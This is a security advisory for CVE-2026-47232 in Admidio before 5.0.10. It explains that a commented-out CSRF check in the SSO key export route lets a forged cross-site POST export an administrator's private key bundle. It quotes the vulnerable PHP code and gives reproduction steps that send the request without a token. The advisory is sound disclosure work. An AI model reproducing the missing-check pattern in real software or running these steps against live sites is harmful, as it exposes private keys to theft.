CVE-2026-47232

Admidio is an open-source user management solution. Prior to version 5.0.10, the sensitive mode=export action in modules/sso/keys.php exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token. Version 5.0.10 contains a fix.

A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.

• https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150

Vulnerable Code

// modules/sso/keys.php
case 'export':
// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);
$keyService = new KeyService($gDb);
$password = admFuncVariableIsValid($_POST, 'key_password', 'string');
$keyService->exportToPkcs12($getKeyUUID, $password);
break;

// src/SSO/Service/KeyService.php
public function exportToPkcs12(string $keyUUID, string $password = '') {
$ssoKey = new Key($this->db);
$ssoKey->readDataByUuid($keyUUID);
...
openssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, ["friendly_name" => $name]);
header('Content-Type: application/x-pkcs12');
header('Content-Disposition: attachment; filename="' . $filename . '.p12"');
echo $pkcs12;
exit;
}

What Does The Code Mean

The export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.

Why The Code Is Vulnerable

The route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.

Verification Environment

• Application: Admidio v5.0.9
• Runtime: Dockerized Admidio + MariaDB on http://localhost:18080
• Validation mode: real deployed application, not isolated unit tests

Steps To Reproduce

1. Log in as an administrator.
2. Create or seed an SSO key pair.
3. Send a POST request to /modules/sso/keys.php?mode=export&uuid=<key-uuid> with only key_password=ExportPass123! and no adm_csrf_token.
4. Verify that the response returns application/x-pkcs12 and that the returned file parses successfully with OpenSSL.
